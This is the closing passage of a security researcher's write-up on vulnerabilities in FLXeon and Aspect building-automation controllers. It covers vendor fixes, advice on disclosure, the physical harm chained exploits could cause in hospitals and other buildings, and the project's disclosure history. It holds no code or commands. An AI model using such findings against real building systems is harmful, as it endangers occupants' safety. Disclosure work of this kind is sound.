work. They brought in an external security firm, resolved 95% of the
FLXeon issues in 9.3.5, made hundreds of hardening changes in Aspect, and
finally pulled the firmware from public download. Attention to detail
matters. It just shouldn't take a stranger with a filesystem tarball and
a year of his life to install it.
--[ 17 - Shouts & epilogue
If you build networked ICS gear, collaborate with the people reporting
your bugs, score them honestly, and audit the whole file instead of the
one line in the PoC. And stop treating "it wasn't meant to be on the
Internet" as a control. It isn't one. The buildings are already online.
This is an 18-year-old codebase and a 6-year-old one, neither ever given
a real security review, running the physical guts of skyscrapers,
hospitals and stadiums. Attackers who chain what's in this file can stop
chillers and melt an ice rink, kill boilers and hot water, cut the lights
in an operating room, silence smoke detectors, or open the PA and cause a
panic. So, obligatory, don't. Patch, isolate, VPN, and get these things
off the public Internet.
Brainfog was first disclosed at Black Alps in Yverdon-les-Bains,
Switzerland, in November 2025, and again at Black Hat Europe in London in
December 2025. Since then, exactly one government has reached out: in
October 2026 the FBI's cybercrime unit asked to meet and understand the
continued exposure of U.S. facilities, from government and law-enforcement
buildings and prisons to hospitals, schools, and water systems. I left
with the impression that reaching the actual facility owners, operators,
and vendors is still the hard part. The project is still active.
Do not attempt to exploit these vulnerabilities. ;]
Greetz to Thricer, Ange, Travis, Nicolas, Maor, Cooper, Flavio, Sandy,
Melina, Wietze, Raphael, Marina, Bela, TMZ. And to everyone still holding
a pager for a building that shouldn't be on the Internet, see you in the
VulnCity.
-- LiquidWorm
Zero Science Lab
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